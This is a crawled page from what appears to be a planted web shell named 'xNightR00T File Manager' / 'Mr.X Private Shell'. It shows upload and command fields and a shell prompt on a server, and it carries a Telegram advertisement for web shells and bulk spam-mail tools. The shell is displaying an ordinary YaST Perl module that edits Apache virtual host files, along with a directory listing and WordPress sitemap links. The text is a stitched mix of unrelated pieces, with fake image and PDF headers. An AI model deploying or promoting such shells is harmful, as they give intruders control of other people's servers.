xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/usr/bin/perl -w
package ag_http_server;
BEGIN { push( @INC, '/usr/share/YaST2/modules/' ); }
use ycp;
use YaST::SCRAgent;
use YaPI;
textdomain "http-server";
our @ISA = ("YaST::SCRAgent");

use strict;

# $vhost_files{$filename} = [ 
#                            {
#                              OVERHEAD => '# ...',
#                              VHOST    => '*',
#                              HOSTID   => '*:443/myservername.my.dom',
#                              VirtualByName => 1,
#                              DATA     => [
#                                           {
#                                            OVERHEAD => '...',
#                                            KEY => 'DocumentRoot',
#                                            VALUE => '/srv/...'
#                                           }
#                                          ]
#                            }
#                           ];

my %vhost_files = ();
# %vhost_by_name is just a uniq array

# IP-address hash - virtual hosts map 


# %listen ist just a uniq array
# $listen{1.2.3.4:80-100} = 1;
my %listen;

sub parse_vhost_files {
    my $class = shift;
    my %vhost_by_name = ();
    my %hash_table = ();

    # you don't need it read twice
    return 1 if (keys(%hash_table));    

    if( open( FILE, "< /etc/apache2/default-server.conf" ) ) {
        while( my $line = <FILE> ) {
            next unless( $line =~ /^NameVirtualHost\s+(.*)/ );
            my $vhost = $1;
            chomp($vhost);
            $vhost_by_name{$vhost} = 1;
        }
        close(FILE);
    } else {
        return $class->SetError(summary => sprintf( _("opening /etc/apache2/default-server.conf failed: %s"),$!),
                                code    => "OPEN_FAILED");
    }

    for my $file ( </etc/apache2/vhosts.d/*.conf> ) {
        open( FILE, "< $file" ) or do {
            return $class->SetError( summary => sprintf( _("unable to open file %s for reading: %s"),$file,$!),
                                     code    => "OPEN_FAILED"
            );
        };
        $file =~ /([^\/]+\.conf)$/;
        $file = $1;
        my $fileData = sectionParser();

        $vhost_files{$file} = [];
        my $tmpOverhead = "";
        foreach my $vhost (@$fileData) {
            # transform none-vhost sections into overhead
            if( exists($vhost->{'SECTIONNAME'}) and ($vhost->{'SECTIONNAME'} ne 'VirtualHost') ) {
                $tmpOverhead .= section2string( [$vhost] );
                next;
            } elsif( not exists( $vhost->{'SECTIONNAME'} ) ) {
                $tmpOverhead .= $vhost->{'OVERHEAD'} if( $vhost->{'OVERHEAD'} );
                $tmpOverhead .= $vhost->{KEY}." ".$vhost->{VALUE}."\n";
                next;
            }
            my $data = [];
            my $vhostData = {};
            $vhostData->{'HostIP'}    = $vhost->{'SECTIONPARAM'};
            $vhostData->{'HOSTID'}   = $vhost->{'SECTIONPARAM'};
            $vhostData->{'OVERHEAD'} = $tmpOverhead.$vhost->{'OVERHEAD'} if( exists($vhostData->{'OVERHEAD'}) );
            $tmpOverhead = "";
            if( grep( { $vhostData->{'HostIP'} eq $_ } keys(%vhost_by_name) ) ) {
                $vhostData->{'VirtualByName'} = 1;
            } else {
                $vhostData->{'VirtualByName'} = 0;
            }
            foreach my $key ( @{$vhost->{'VALUE'}} ) {
                push( @$data, $key );
                if( $key->{'KEY'} eq 'ServerName' ) {
                    $vhostData->{'HOSTID'} .= "/$key->{VALUE}";
                }
            }
            $vhostData->{'DATA'} = $data;
            push( @{$vhost_files{$file}}, $vhostData );
        }
        push( @{$vhost_files{$file}}, { OVERHEAD => $tmpOverhead } );
        close( FILE );
    }

    my $entry = {};
    open( FILE, "< /etc/apache2/default-server.conf" ) or do {
        return $class->SetError( summary => sprintf(_("unable to open file /etc/apache2/default-server.conf for reading: %s"),$!),
                                 code    => "OPEN_FAILED"
        );
    };
    $entry->{DATA} = sectionParser();
    close(FILE);
    $entry->{HOSTID} = 'main';
    $entry->{VirtualByName} = 0;
    $vhost_files{'default-server.conf'} = [ $entry ];


    #new hash - map sorted by virtual hosts
   foreach my $file (keys (%vhost_files))  {
    foreach my $conf ($vhost_files{$file}){
     foreach my $vhost ( @$conf )        {
     if ($file eq 'default-server.conf'){
      $hash_table{'main'} = $vhost;
      } else {
	   my $key='ip-based';
           if (defined($vhost->{'VirtualByName'}) && $vhost->{'VirtualByName'} eq '1'){
	     foreach my $row ( @{$vhost->{'DATA'}} ){
	       $key=$row->{'VALUE'} if($row->{'KEY'} eq 'ServerName');	  
	    }
	  }
	   if (exists $vhost->{'HostIP'}){
             if ( defined $hash_table{  $key} ){ push(@{$hash_table{  $key }}, $vhost); }
                 else { push(@{$hash_table{$key}}, $vhost); }
			}
         }
      }
     }
   }
    return \%hash_table;
}

sub parse_listen_conf {
    my $class = shift;

    # parse all Listen entries.
    if( open( FILE, "< /etc/apache2/listen.conf" ) ) {
        while( my $line = <FILE> ) {
            next unless( $line =~ /^Listen\s+(.*)/ );
            chomp($line);
            $listen{$1} = 1;
        }
        close(FILE);
    } else {
        return $class->SetError( summary => sprintf(_("unable to open file /etc/apache2/listen.conf for reading: %s"),$!),
                                 code    => "OPEN_FAILED"
        );
    }
}

# generic apache2 configfile format parser
sub sectionParser {
    my $keys = [];
    my $key  = {};
    while( my $line = <FILE> ) {
        last if( $line =~ /^\s*<\s*\/\w+/ ); # end of section
        if( $line =~ /^\s*<(\w+)\s*>/ ) { # new Subsection? no param
            $key->{KEY} = '_SECTION';
            $key->{SECTIONNAME} = $1;
            $key->{SECTIONPARAM} = '';
            $key->{VALUE} = sectionParser();
            push( @$keys, $key );
            $key = {};
        } elsif( $line =~ /^\s*<(\w+)\s*(.*[^\s>]*?)\s*>/ ) { # new Subsection?
           $key->{KEY} = '_SECTION';
           $key->{SECTIONNAME} = $1;
           $key->{SECTIONPARAM} = $2;
           $key->{VALUE} = sectionParser();
           push( @$keys, $key );
           $key = {};
        } elsif( $line =~ /^\s*(\w+)\s+(.*)$/ ) {
           $key->{KEY} = $1;
           $key->{VALUE} = $2;
           push( @$keys, $key );
           $key = {};
        } else {
           $key->{OVERHEAD} .= $line;
        }
    }
  return $keys;
}

sub section2string {
    my $section = shift;
    my $ident = shift || 0;
    my $ret;

    foreach my $k ( @$section ) {
        if( $k->{KEY} eq '_SECTION' ) {
            $ret .= $k->{'OVERHEAD'} if( $k->{'OVERHEAD'} );
            $ret .= (" "x$ident)."<".$k->{SECTIONNAME}." ".$k->{SECTIONPARAM}.">\n";
            $ret .= section2string($k->{VALUE}, $ident+1);
            $ret .= (" "x$ident)."</".$k->{SECTIONNAME}.">\n";
        } else {
            $ret .= (" "x$ident);
            $ret .= $k->{'OVERHEAD'} if( $k->{'OVERHEAD'} );
            $ret .= $k->{'KEY'}." ".$k->{'VALUE'}."\n";
        }
    }
    return $ret;
}


sub writeVH {
    my $class = shift;
    my $data = shift;

    # remove old files first
    for my $remove ( </etc/apache2/vhosts.d/*.conf> ) {
    	unlink $remove;
    }

    foreach my $file ( keys(%{$data}) ) {
        next if( $file eq 'default-server.conf' ); # skip the default server here
        open( FILE, "> /etc/apache2/vhosts.d/$file" ) or do {
            return $class->SetError( summary => sprintf(_("open file /etc/apache2/vhosts.d/%s for writing failed with: %s"),$file,$!),
                                     code    => 'OPEN_FAILED'
            );
        };
        foreach my $entry ( @{$data->{$file}} ) {
            print FILE $entry->{OVERHEAD} if($entry->{OVERHEAD});
            print FILE "<VirtualHost $entry->{HostIP}>\n" if( $entry->{HostIP} );
            foreach my $data ( @{$entry->{DATA}} ) {
                next if( $data->{KEY} eq 'HostIP' ); # just for internal use
                if( $data->{KEY} eq '_SECTION' ) {
                    print FILE section2string( [ $data ], 1 ); # ??? lost in my own data structures
                } else {
                    print FILE $data->{OVERHEAD} if( $data->{OVERHEAD} );
                    print FILE " ".$data->{KEY}." ".$data->{VALUE}."\n" if( $data->{KEY} );
                }
            }
            print FILE "</VirtualHost>\n" if( $entry->{HostIP} );
        }
        close(FILE);
    }

    # save the default-server.conf
    open( FILE, "> /etc/apache2/default-server.conf" ) or do {
        return $class->SetError( summary => sprintf(_("open file /etc/apache2/default-server.conf for writing failed with %s"),$!),
                                 code    => 'OPEN_FAILED'
        );
    };
#    foreach my $entry ( @{$data->{'default-server.conf'}} ) {
#        print FILE section2string( $entry->{DATA} );
#    }
print FILE section2string($data->{'default-server.conf'}{DATA});
    close(FILE);
    return 1;
}
sub write_vhost_files {
    my $class = shift;

    foreach my $file ( keys(%vhost_files) ) {
        next if( $file eq 'default-server.conf' ); # skip the default server here
        open( FILE, "> /etc/apache2/vhosts.d/$file" ) or do {
            return $class->SetError( summary => sprintf(_("open file /etc/apache2/vhosts.d/%s for writing failed with: %s"),$file,$!),
                                     code    => 'OPEN_FAILED'
            );
        };
        foreach my $entry ( @{$vhost_files{$file}} ) {
            print FILE $entry->{OVERHEAD} if($entry->{OVERHEAD});
            print FILE "<VirtualHost $entry->{HostIP}>\n" if( $entry->{HostIP} );
            foreach my $data ( @{$entry->{DATA}} ) {
                next if( $data->{KEY} eq 'HostIP' ); # just for internal use
                if( $data->{KEY} eq '_SECTION' ) {
                    print FILE section2string( [ $data ], 1 ); # ??? lost in my own data structures
                } else {
                    print FILE $data->{OVERHEAD} if( $data->{OVERHEAD} );
                    print FILE " ".$data->{KEY}." ".$data->{VALUE}."\n" if( $data->{KEY} );
                }
            }
            print FILE "</VirtualHost>\n" if( $entry->{HostIP} );
        }
        close(FILE);
    }

    # save the default-server.conf
    open( FILE, "> /etc/apache2/default-server.conf" ) or do {
        return $class->SetError( summary => sprintf(_("open file /etc/apache2/default-server.conf for writing failed with %s"),$!),
                                 code    => 'OPEN_FAILED'
        );
    };
    foreach my $entry ( @{$vhost_files{'default-server.conf'}} ) {
        print FILE section2string( $entry->{DATA} );
    }
    close(FILE);
    return 1;
}

sub write_listen_conf {
    my $class = shift;
    if( open( FILE, "< /etc/apache2/listen.conf" ) ) {
        my @file = <FILE>;
        close(FILE);

        # drop all "Listen" entries.
        foreach my $line ( @file ) {
            next unless( $line =~ /^Listen/ );
            $line = "";
        }

        # do the new "Listen" entries and save file
        foreach my $entry ( keys(%listen) ) {
            push( @file, "Listen $entry\n" );
        }
        if( open( FILE, "> /etc/apache2/listen.conf" ) ) { # FIXME catch ERRORs
            print FILE @file;
            close(FILE);
        } else {
            return $class->SetError( summary => sprintf(_("open file /etc/apache2/listen.conf for writing failed with %s"),$!),
                                     code    => 'OPEN_FAILED' );
        }
    } else {
        return $class->SetError( summary => sprintf(_("open file /etc/apache2/listen.conf for reading failed with %s"),$!),
                                 code    => 'OPEN_FAILED'
        );
    }
}

sub Execute {
    my $class = shift;
    my ($path, @args) = @_;

    return 1;
}


sub Read {
    my $class = shift;
    my ($path, @args) = @_;

    if( $path eq '.vhosts' ) {
        return $class->parse_vhost_files();
#        return \%hash_table; #\%vhost_files;
    } elsif( $path eq '.listen' )  {
        $class->parse_listen_conf();
        return [ keys(%listen) ];
    } 
#elsif( $path eq '.moduleselection' ) {
#        return [ $class->parse_module_selection() ];
#    }
}

sub Write {
    my $class = shift;
    my ($path, @args) = @_;

    if( $path eq '.vhosts' ) {
     $class->writeVH($args[0]);
    } elsif( $path =~ /\.vhosts\.setFile\.(.*)/ ) {
        # args[0] = array ref (structure explained above)
        $class->parse_vhost_files();
        if( $1 ) {
            my $filename = $1;
            if( ref($args[0]) eq 'ARRAY' ) {
                $vhost_files{$filename} = $args[0];
                return $class->write_vhost_files(); # FIXME: write just one file
            }
        } else {
            if( ref($args[0]) eq 'HASH' ) {
                %vhost_files = %{$args[0]};
                return $class->write_vhost_files();
            }
        }
    } elsif( $path eq '.listen' ) {
        if( ref($args[0]) eq 'ARRAY' ) {
            %listen = ();
            foreach my $entry ( @{$args[0]} ) {
                my $key = "";
                if( exists( $entry->{'ADDRESS'} ) and $entry->{'ADDRESS'} ne '') {
                    $key = $entry->{'ADDRESS'}.':';
                }
                $key .= $entry->{'PORT'};
                $listen{$key} = 1;
            }
            return $class->write_listen_conf();
        }
    } else {
        # not implemented
    }
}

sub Dir {
}

package main;

ag_http_server->Run ();


Filemanager

Name Type Size Permission Actions
MasterCFParser.pm File 10.55 KB 0755
ag_anyxml File 3.21 KB 0755
ag_background File 8.56 KB 0755
ag_content File 738 B 0755
ag_convert_named_conf File 1.65 KB 0755
ag_cron File 2.5 KB 0755
ag_dhcpd_conf File 6.28 KB 0755
ag_dns_zone File 8.84 KB 0755
ag_etc_sudoers File 5.37 KB 0755
ag_exports File 4.7 KB 0755
ag_fetchmailrc File 8.09 KB 0755
ag_freespace File 1.48 KB 0755
ag_hostnames File 4.68 KB 0755
ag_http_server File 13.31 KB 0755
ag_initscripts File 9.19 KB 0755
ag_kadmin File 21.21 KB 0755
ag_kerberos File 12.27 KB 0755
ag_ksimport File 7.22 KB 0755
ag_mail_ldaptable File 1.79 KB 0755
ag_mailconfig File 6.42 KB 0755
ag_mailtable File 5.88 KB 0755
ag_modinfo File 2.09 KB 0755
ag_named_forwarders File 1.68 KB 0755
ag_netd File 17.24 KB 0755
ag_nis File 6.3 KB 0755
ag_pam_mount File 5.83 KB 0755
ag_passwd File 21.11 KB 0755
ag_ping File 1.58 KB 0755
ag_showexports File 2.49 KB 0755
ag_smtp_auth File 5.6 KB 0755
ag_tty File 3.75 KB 0755
ag_udev_persistent File 3.61 KB 0755
ag_uid File 1.39 KB 0755
ag_yp_conf File 7.56 KB 0755
ag_yp_makefile File 4.38 KB 0755
ag_zypp_repos File 1.55 KB 0755
setup_dkim_verifying.pl File 5.15 KB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml